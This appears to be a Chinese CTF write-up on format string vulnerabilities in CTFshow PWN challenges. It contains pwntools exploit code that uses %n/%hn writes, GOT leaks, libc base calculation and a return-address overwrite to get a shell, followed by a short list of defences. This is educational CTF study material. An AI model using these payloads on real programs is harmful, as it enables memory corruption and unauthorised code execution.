当前位置: 首页 > news >正文

CTFshow---格式化字符串漏洞实战:从基础到高级利用技巧

1. 格式化字符串漏洞基础入门

格式化字符串漏洞是二进制安全领域中最经典的漏洞类型之一,我第一次接触这类漏洞是在2015年参加某次CTF比赛时。当时面对一个简单的printf漏洞完全无从下手,现在回想起来觉得特别有意思。这种漏洞的成因很简单:当程序使用printf等格式化函数时,如果允许用户控制格式化字符串参数,就会产生安全风险。

举个生活中的例子,就像你去餐厅点餐,服务员问"要加什么调料",正常情况下你应该回答"加盐"或"加辣椒"。但如果你突然说"把你们店里的所有调料都拿出来",这就相当于利用了格式化字符串漏洞。在计算机中,常见的危险格式化符包括:

  • %x:泄露栈内存
  • %s:读取任意地址内容
  • %n:向任意地址写入数据

在CTFshow平台的PWN91挑战中,我们能看到最基础的利用场景。题目要求将daniu变量修改为6,通过调试可以发现格式化字符串的偏移是7。最终的exp如下:

from pwn import * context(log_level='debug', arch='i386', os='linux') io = process("./pwn") daniu = 0x0804B038 payload = p32(daniu) + b"%2c%7$hhn" io.sendline(payload) io.interactive()

这个payload做了两件事:首先将目标地址压入栈中,然后使用%hhn向这个地址写入值2(通过%2c生成2个字符)。由于hhn表示写入1字节,最终daniu的值会被设置为2+4=6(p32占4字节),从而触发getshell。

2. 内存泄露与地址计算实战

格式化字符串真正强大的地方在于它能实现内存的任意读写。在PWN95这道题中,我们需要先泄露libc地址,然后修改GOT表实现攻击。这就像玩密室逃脱时,先要找到关键线索(libc地址),才能解开最终的锁(getshell)。

具体操作分为三个关键步骤:

  1. 确定偏移量:通过输入%p.%p.%p...或%x%x%x...观察输出,找到栈上可控数据的位置。在32位系统中,通常从第6个参数开始是用户输入。

  2. 泄露关键地址:比如要泄露puts函数的真实地址,可以构造:

puts_got = elf.got['puts'] payload = p32(puts_got) + b"%6$s"
  1. 计算libc基址:得到puts地址后,用LibcSearcher查找对应版本:
puts_addr = u32(io.recv(4)) libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system")

我在实际做题时发现一个坑点:不同libc版本的函数偏移可能差异很大。有次比赛我用了错误的libc版本,导致计算的system地址差了0x1000,怎么都打不通。后来用LibcSearcher的多个结果逐一尝试才成功。

3. GOT表改写的高级技巧

掌握了地址泄露后,就可以玩更刺激的操作——修改GOT表。这就像修改游戏存档的关键数据,把"攻击力10"改成"攻击力999"。在PWN94中,我们需要将printf的GOT表项改为system地址。

这里有个重要技巧:一次性写入4字节可能需要生成超长字符串(比如写入0x080491a2需要打印1亿多个字符)。更聪明的做法是分两次写入,使用%hn(2字节写入):

printf_got = elf.got['printf'] payload = p32(printf_got+2) + p32(printf_got) payload += b"%2044c%6$hn" # 写入高2字节 payload += b"%31740c%7$hn" # 写入低2字节

这个payload的精妙之处在于:

  1. 先写入printf_got+2地址(高2字节位置)
  2. 再写入printf_got地址(低2字节位置)
  3. %2044c会生成2044个字符,加上之前已输出的8字节,总共2052=0x804
  4. %31740c会生成31740个字符,总共33792=0x8400 最终写入的值就是0x08048400

4. 综合利用与防御绕过

在PWN100这道难题中,题目设置了多重障碍:关闭了标准输出、限制了格式化函数使用次数。这就像闯关游戏最后的Boss战,需要组合多种技巧才能攻克。

解题思路分为三个阶段:

  1. 绕过使用限制:先用%n将限制计数器清零
fmt_attack(b'%7$n-%16$p') # 同时泄露栈地址
  1. 计算关键偏移:通过泄露的地址反推返回地址位置
ret_addr = int(io.recvuntil(b'\n')[:-1],16) - 0x28
  1. 精确覆盖返回地址:使用%hn进行两字节写入
payload1 = b'%3926c%10$hn'.ljust(0x10,b'a') payload1 += p64(ret_addr)

这种高级利用需要精确计算各种偏移,我建议在本地调试时多用gdb的vmmap和telescope命令观察内存布局。有次我因为算错了一个偏移量,导致payload总是segfault,后来发现是忘了考虑栈对齐问题。

格式化字符串漏洞的防御方法主要有:

  • 使用printf("%s", buf)代替printf(buf)
  • 启用FORTIFY_SOURCE编译选项
  • 现代编译器会对%n做限制

但在CTF比赛中,这类漏洞依然常见且强大。掌握好格式化字符串,就相当于拿到了二进制安全的万能钥匙,能打开许多看似复杂的挑战。

http://www.jsqmd.com/news/618601/

相关文章:

  • XXMI启动器:一站式二次元游戏模组管理平台的终极解决方案
  • 2026年东莞苏州口碑好的线路板分板机品牌推荐,专业设备全解析 - mypinpai
  • 2025届毕业生推荐的十大AI科研工具解析与推荐
  • 2026年成都ICU病床选购指南:3招教你省钱挑对高性价比病床 - 精选优质企业推荐榜
  • 从零开始理解奇偶校验与汉明码:错误检测与纠正的实战指南
  • AI原生研发不是加个Copilot就叫升级!重构团队的4个不可逆临界点,错过第3个将丧失2025技术卡位权
  • Qwen3.6-Plus,不只是更强一点:它正在把大模型推向“真实世界 Agent”
  • 2026年山东工业环保水漆生产厂,靠谱的品牌有哪些 - 工业推荐榜
  • 西门子V90PN口通讯控制新能源自动排列机四轴伺服FB284程序详解:RFID读写、SCL语言...
  • 2026年国林医疗护理床选购指南:3步教你挑对高性价比产品 - 精选优质企业推荐榜
  • 告别托福听力内耗!多次元逐句精听+笔记指导,小白也能轻松提分 - 速递信息
  • 芯片互连的“速度革命”:铜互连为何能替代铝,成为高端芯片标配?
  • AI Agent Harness与教育平台集成管控
  • RGB与YUV颜色编码的区别
  • SVN日志规范养成记:从TortoiseSVN的log模板到自动化校验
  • 物联网浏览器(IoTBrowser)-js开发人脸识别籽
  • 3分钟快速上手:免费IP离线数据库精准定位地理位置
  • 2026年青岛留学机构哪家服务经验丰富:五家优选解析 - 科技焦点
  • RVC WebUI汉化与本地化教程:中文字体支持与界面语言切换
  • 终极指南:使用DeepSORT和YOLOv5实现实时多目标跟踪
  • Oracle 到 GaussDB 迁移实战:PL/SQL 转 PL/pgSQL 关键技巧
  • 2026年国林医疗护理床选购指南:3招教你挑对高性价比病 - 精选优质企业推荐榜
  • 2026届必备的十大AI科研网站实际效果
  • 把近万个源文件喂给AI之前,我先做了一件事卵
  • Serilog:从结构化日志认知到 .NET 工程落地橇
  • 2025最权威的五大AI辅助论文方案推荐榜单
  • 打破感知边界:办公多模态的技术演进、实践挑战与终极形态:
  • 阿里企业邮箱购买攻略:2026年从注册认证到域名配置的实操步骤 - 品牌2025
  • 2026年云南钢结构厂家推荐解析:钢板、无缝管、钢材的实力三大厂家 - 深度智识库
  • ZTP(零接触配置):实现自动化与高效的网络部署